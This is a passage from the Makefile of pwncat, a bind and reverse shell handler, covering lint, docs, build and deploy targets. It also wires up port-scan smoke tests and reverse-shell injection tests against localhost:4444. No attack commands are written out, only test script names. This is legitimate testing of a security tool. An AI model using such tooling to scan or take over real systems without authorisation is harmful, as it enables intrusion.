' \ mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && pycodestyle --config=setup.cfg /tmp/$(BINNAME).py' .PHONY: _code-pydocstyle _code-pydocstyle: @V="$$( docker run --rm cytopia/pydocstyle --version | head -1 )"; \ echo "# -------------------------------------------------------------------- #"; \ echo "# Check pydocstyle: $${V}"; \ echo "# -------------------------------------------------------------------- #" @# docker pull cytopia/pydocstyle docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data --entrypoint= cytopia/pydocstyle sh -c ' \ mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && pydocstyle --explain --config=setup.cfg /tmp/$(BINNAME).py' .PHONY: _code-pylint _code-pylint: @V="$$( docker run --rm cytopia/pylint --version | head -1 )"; \ echo "# -------------------------------------------------------------------- #"; \ echo "# Check pylint: $${V}"; \ echo "# -------------------------------------------------------------------- #" @# docker pull cytopia/pylint docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data --entrypoint= cytopia/pylint sh -c ' \ mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && pylint --rcfile=setup.cfg /tmp/$(BINNAME).py' .PHONY: _code-black _code-black: @V="$$( docker run --rm cytopia/black --version | head -1 )"; \ echo "# -------------------------------------------------------------------- #"; \ echo "# Check Python Black: $${V}"; \ echo "# -------------------------------------------------------------------- #" @# docker pull cytopia/black docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data --entrypoint= cytopia/black sh -c ' \ mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && black -l 100 --check --diff /tmp/$(BINNAME).py' .PHONY: _code-mypy _code-mypy: @V="$$( docker run --rm cytopia/mypy --version | head -1 )"; \ echo "# -------------------------------------------------------------------- #"; \ echo "# Check Mypy: $${V}"; \ echo "# -------------------------------------------------------------------- #" @# docker pull cytopia/mypy docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data --entrypoint= cytopia/mypy sh -c ' \ mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && mypy --config-file setup.cfg /tmp/$(BINNAME).py' # ------------------------------------------------------------------------------------------------- # Smoke Targets # ------------------------------------------------------------------------------------------------- smoke: _smoke-keep_open-kill_srv-before_send smoke: _smoke-keep_open-kill_srv-send_data smoke: _smoke-tcp_port_scan-no_banner smoke: _smoke-tcp_port_scan-with_banner smoke: _smoke-udp_port_scan-no_banner smoke: _smoke-udp_port_scan-with_banner .PHONY: _smoke-keep_open-kill_srv-before_send: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" _smoke-keep_open-kill_srv-send_data: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" _smoke-tcp_port_scan-no_banner: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" _smoke-tcp_port_scan-with_banner: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" _smoke-udp_port_scan-no_banner: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" _smoke-udp_port_scan-with_banner: @# It's sometimes a race-condition, so we run it five times tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" # ------------------------------------------------------------------------------------------------- # Test Targets # ------------------------------------------------------------------------------------------------- TEST_PWNCAT_HOST=localhost TEST_PWNCAT_PORT=4444 TEST_PWNCAT_WAIT=2 TEST_PWNCAT_RUNS=1 test: _test-behaviour-quit--client test: _test-behaviour-quit--server test: _test-behaviour-base--file_transfer test: _test-mode--local_forward test: _test-mode--remote_forward test: _test-options--nodns test: _test-options--crlf test: _test-options--keep_open test: _test-options--reconn test: _test-options--ping_intvl test: _test-options--ping_word test: _test-cnc--inject_shell .PHONY: _test-behaviour-quit--client _test-behaviour-quit--client: __test-behaviour-quit--client-000 _test-behaviour-quit--client: __test-behaviour-quit--client-001 _test-behaviour-quit--client: __test-behaviour-quit--client-002 _test-behaviour-quit--client: __test-behaviour-quit--client-003 _test-behaviour-quit--client: __test-behaviour-quit--client-004 _test-behaviour-quit--client: __test-behaviour-quit--client-100 _test-behaviour-quit--client: __test-behaviour-quit--client-101 _test-behaviour-quit--client: __test-behaviour-quit--client-102 _test-behaviour-quit--client: __test-behaviour-quit--client-103 _test-behaviour-quit--client: __test-behaviour-quit--client-200 _test-behaviour-quit--client: __test-behaviour-quit--client-201 __test-behaviour-quit--client-000: $(INTPATH)01-behaviour-quit--client/000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-001: $(INTPATH)01-behaviour-quit--client/001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-002: $(INTPATH)01-behaviour-quit--client/002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-003: $(INTPATH)01-behaviour-quit--client/003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-004: $(INTPATH)01-behaviour-quit--client/004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-100: $(INTPATH)01-behaviour-quit--client/100---udp---client_stays---when_server_is_killed---client_default---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-101: $(INTPATH)01-behaviour-quit--client/101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-102: $(INTPATH)01-behaviour-quit--client/102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-103: $(INTPATH)01-behaviour-quit--client/103---udp---client_stays---when_server_is_killed---client_command---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-200: $(INTPATH)01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--client-201: $(INTPATH)01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-behaviour-quit--server _test-behaviour-quit--server: __test-behaviour-quit--server-000 _test-behaviour-quit--server: __test-behaviour-quit--server-001 _test-behaviour-quit--server: __test-behaviour-quit--server-002 _test-behaviour-quit--server: __test-behaviour-quit--server-003 _test-behaviour-quit--server: __test-behaviour-quit--server-004 _test-behaviour-quit--server: __test-behaviour-quit--server-100 _test-behaviour-quit--server: __test-behaviour-quit--server-101 _test-behaviour-quit--server: __test-behaviour-quit--server-103 _test-behaviour-quit--server: __test-behaviour-quit--server-104 _test-behaviour-quit--server: __test-behaviour-quit--server-200 _test-behaviour-quit--server: __test-behaviour-quit--server-201 __test-behaviour-quit--server-000: $(INTPATH)02-behaviour-quit--server/000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-001: $(INTPATH)02-behaviour-quit--server/001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-002: $(INTPATH)02-behaviour-quit--server/002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-003: $(INTPATH)02-behaviour-quit--server/003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-004: $(INTPATH)02-behaviour-quit--server/004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-100: $(INTPATH)02-behaviour-quit--server/100---udp---server_stays---when_client_is_killed---server_default---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-101: $(INTPATH)02-behaviour-quit--server/101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-103: $(INTPATH)02-behaviour-quit--server/103---udp---server_stays---when_client_is_killed---server_command---before_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-104: $(INTPATH)02-behaviour-quit--server/104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-200: $(INTPATH)02-behaviour-quit--server/200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-quit--server-201: $(INTPATH)02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-behaviour-base--file_transfer _test-behaviour-base--file_transfer: __test-behaviour-base--file_transfer-send_normal _test-behaviour-base--file_transfer: __test-behaviour-base--file_transfer-send_on_eof __test-behaviour-base--file_transfer-send_normal: $(INTPATH)03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-behaviour-base--file_transfer-send_on_eof: $(INTPATH)03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-mode--local_forward _test-mode--local_forward: tests/integration/run.sh "10-mode---local_forward" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-mode--remote_forward _test-mode--remote_forward: tests/integration/run.sh "11-mode---remote_forward" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--nodns _test-options--nodns: tests/integration/run.sh "20-options---nodns" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--crlf _test-options--crlf: tests/integration/run.sh "21-options---crlf" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--keep_open _test-options--keep_open: __test-options--keep_open-000 _test-options--keep_open: __test-options--keep_open-001 _test-options--keep_open: __test-options--keep_open-002 _test-options--keep_open: __test-options--keep_open-100 _test-options--keep_open: __test-options--keep_open-101 _test-options--keep_open: __test-options--keep_open-200 _test-options--keep_open: __test-options--keep_open-201 _test-options--keep_open: __test-options--keep_open-202 __test-options--keep_open-000: $(INTPATH)22-options---keep_open/000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-001: $(INTPATH)22-options---keep_open/001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-002: $(INTPATH)22-options---keep_open/002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-100: $(INTPATH)22-options---keep_open/100---tcp---server_reacc---three_clients---server_default---srv_send-cli_nosend-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-101: $(INTPATH)22-options---keep_open/101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-200: $(INTPATH)22-options---keep_open/200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-201: $(INTPATH)22-options---keep_open/201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--keep_open-202: $(INTPATH)22-options---keep_open/202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--reconn _test-options--reconn: __test-options--reconn-000 _test-options--reconn: __test-options--reconn-001 _test-options--reconn: __test-options--reconn-002 __test-options--reconn-000: $(INTPATH)23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--reconn-001: $(INTPATH)23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-options--reconn-002: $(INTPATH)23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--ping_init _test-options--ping_intvl: tests/integration/run.sh "25-options---ping_intvl" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--ping_word _test-options--ping_word: tests/integration/run.sh "26-options---ping_word" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-cnc--inject_shell _test-cnc--inject_shell: __test-cnc--inject_shell-pwncat _test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix _test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-single_byte-banner-suffix _test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed _test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed __test-cnc--inject_shell-pwncat: $(INTPATH)30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix: $(INTPATH)30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-cnc--inject_shell-revshelll-single_byte-banner-suffix: $(INTPATH)30-cnc---self_inject/002---tcp---revshell-single_byte-banner-suffix.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed: $(INTPATH)30-cnc---self_inject/003---tcp---revshell-multi_byte-banner-suffix-delayed.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed: $(INTPATH)30-cnc---self_inject/004---tcp---revshell-single_byte-banner-suffix-delayed.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" # ------------------------------------------------------------------------------------------------- # Documentation # ------------------------------------------------------------------------------------------------- docs: _docs-man docs: _docs-api docs: _docs-mypy_type_coverage docs: _docs-version_readme .PHONY: _docs-man _docs-man: $(BINPATH)$(BINNAME) docker pull python:3-alpine docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data -w /data -e UID=$(UID) -e GID=${GID} python:3-alpine sh -c ' \ apk add help2man \ && help2man -n $(BINNAME) --no-info --source=https://github.com/cytopia/pwncat -s 1 -o $(MANPATH)$(BINNAME).1 $(BINPATH)$(BINNAME) \ && chown $${UID}:$${GID} $(MANPATH)$(BINNAME).1' docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data -w /data -e UID=$(UID) -e GID=${GID} python:3-alpine sh -c ' \ apk add groff \ && cat $(MANPATH)$(BINNAME).1 \ | groff -mandoc -Thtml \ | sed "s/.*CreationDate:.*//g" \ | sed "s|.*|<title>pwncat(1) - man page|g" \ | sed "s||\n|g" \ | sed "s||\n|g" \ | sed "s||\n|g" \ | sed "s|PWNCAT: man page|g" \ | sed "s|pwncat

|a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.

|g" \ > $(DOCPATH)$(BINNAME).man.html \ && chown $${UID}:$${GID} $(DOCPATH)$(BINNAME).man.html' .PHONY: _docs-api _docs-api: @# Generate pdoc API page docker pull python:3-alpine docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data -w /data -e UID=$(UID) -e GID=${GID} python:3-alpine sh -c ' \ pip install pdoc3 \ && mkdir -p /tmp \ && cp $(BINPATH)$(BINNAME) /tmp/$(BINNAME).py \ && pdoc3 -f -o $(DOCPATH) --html --config show_inherited_members=False /tmp/$(BINNAME).py \ && mv $(DOCPATH)$(BINNAME).html $(DOCPATH)$(BINNAME).api.html \ && chown $${UID}:$${GID} $(DOCPATH)$(BINNAME).api.html' .PHONY: _docs-mypy_type_coverage _docs-mypy_type_coverage: @# Generate mypy code coverage page docker pull cytopia/mypy docker pull python:3-alpine docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data -w /data -e UID=$(UID) -e GID=${GID} --entrypoint= cytopia/mypy sh -c ' \ mypy --config-file setup.cfg --html-report tmp $(BINPATH)$(BINNAME) \ && cp -f tmp/mypy-html.css docs/css/mypy.css \ \ && cat tmp/html/bin/pwncat.html \ | grep -B 100000 "" \ > tmp/part.html-head \ && cat tmp/index.html \ | grep -A 100000 "

" \ | grep -B 100000 "" \ > tmp/part.html-coverage-table.html \ && cat tmp/html/bin/pwncat.html \ | grep -A 100000 "" \ | sed "s|||g" \ | sed "s|__main__|pwncat|g" \ > tmp/part.html-content \ \ && echo "" \ > docs/pwncat.type.html \ && cat tmp/part.html-head \ | sed "s|||g" \ | sed "s|../../mypy-html.css|css/mypy.css|g" \ | sed "s||\npwncat - Type Coverage|g" \ >> docs/pwncat.type.html \ && cat tmp/part.html-coverage-table.html \ | sed "s||bin/pwncat|g" \ | sed "s|

.*|

pwncat - Type Coverage

|g" \ >> docs/pwncat.type.html \ && cat tmp/part.html-content \ >> docs/pwncat.type.html \ \ && chown $${UID}:$${GID} docs/pwncat.type.html \ && chown $${UID}:$${GID} docs/css/mypy.css \ && rm -r tmp/' @# Update code coverage in README.md docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data -w /data python:3-alpine sh -c ' \ apk add bc \ && percent=$$(grep "% imprecise" docs/pwncat.type.html | grep "th" | grep -Eo "[.0-9]+") \ && coverage=$$(echo "100 - $${percent}" | bc) \ && sed -i "s/fully typed: \([.0-9]*\)/fully typed: $${coverage}/g" README.md' _docs-version_readme: VERSION="$$( grep -E '^VERSION = ' bin/pwncat | awk -F'"' '{print $$2}' )" \ && echo "$${VERSION}" \ && sed -i'' "s/^Current version is.*/Current version is: **$${VERSION}**/g" ${PWD}/README.md # ------------------------------------------------------------------------------------------------- # Generate GitHub Action workflow pipelines # ------------------------------------------------------------------------------------------------- pipeline: $(PWD)/tests/pipelines/run.sh # ------------------------------------------------------------------------------------------------- # Build Targets # ------------------------------------------------------------------------------------------------- build: clean build: _lint-version build: _build-source_dist build: _build-binary_dist build: _build-python_package build: _build-check_python_package .PHONY: _build_source_dist _build-source_dist: @echo "Create source distribution" docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ -u $$(id -u):$$(id -g) \ python:$(PYTHON_VERSION)-alpine \ python setup.py sdist .PHONY: _build_binary_dist _build-binary_dist: @echo "Create binary distribution" docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ -u $$(id -u):$$(id -g) \ python:$(PYTHON_VERSION)-alpine \ python setup.py bdist_wheel --universal .PHONY: _build_python_package _build-python_package: @echo "Build Python package" docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ -u $$(id -u):$$(id -g) \ python:$(PYTHON_VERSION)-alpine \ python setup.py build .PHONY: _build_check_python_package _build-check_python_package: @echo "Check Python package" docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ python:$(PYTHON_VERSION)-alpine \ sh -c "pip install twine \ && twine check dist/*" # ------------------------------------------------------------------------------------------------- # Publish Targets # ------------------------------------------------------------------------------------------------- deploy: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ python:$(PYTHON_VERSION)-alpine \ sh -c "pip install twine \ && twine upload dist/*" # ------------------------------------------------------------------------------------------------- # Misc Targets # ------------------------------------------------------------------------------------------------- autoformat: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ -w /data \ cytopia/black -l 100 $(BINPATH)$(BINNAME) clean: -rm -rf $(BINNAME).egg-info/ -rm -rf dist/ -rm -rf build/ pwncat-0.1.2/README.md000066400000000000000000002122161414025024700142700ustar00rootroot00000000000000**[Docs](#closed_book-documentation)** | **[Install](#tada-install)** | **[TL;DR](#coffee-tldr)** | **[Features](#star-features)** | 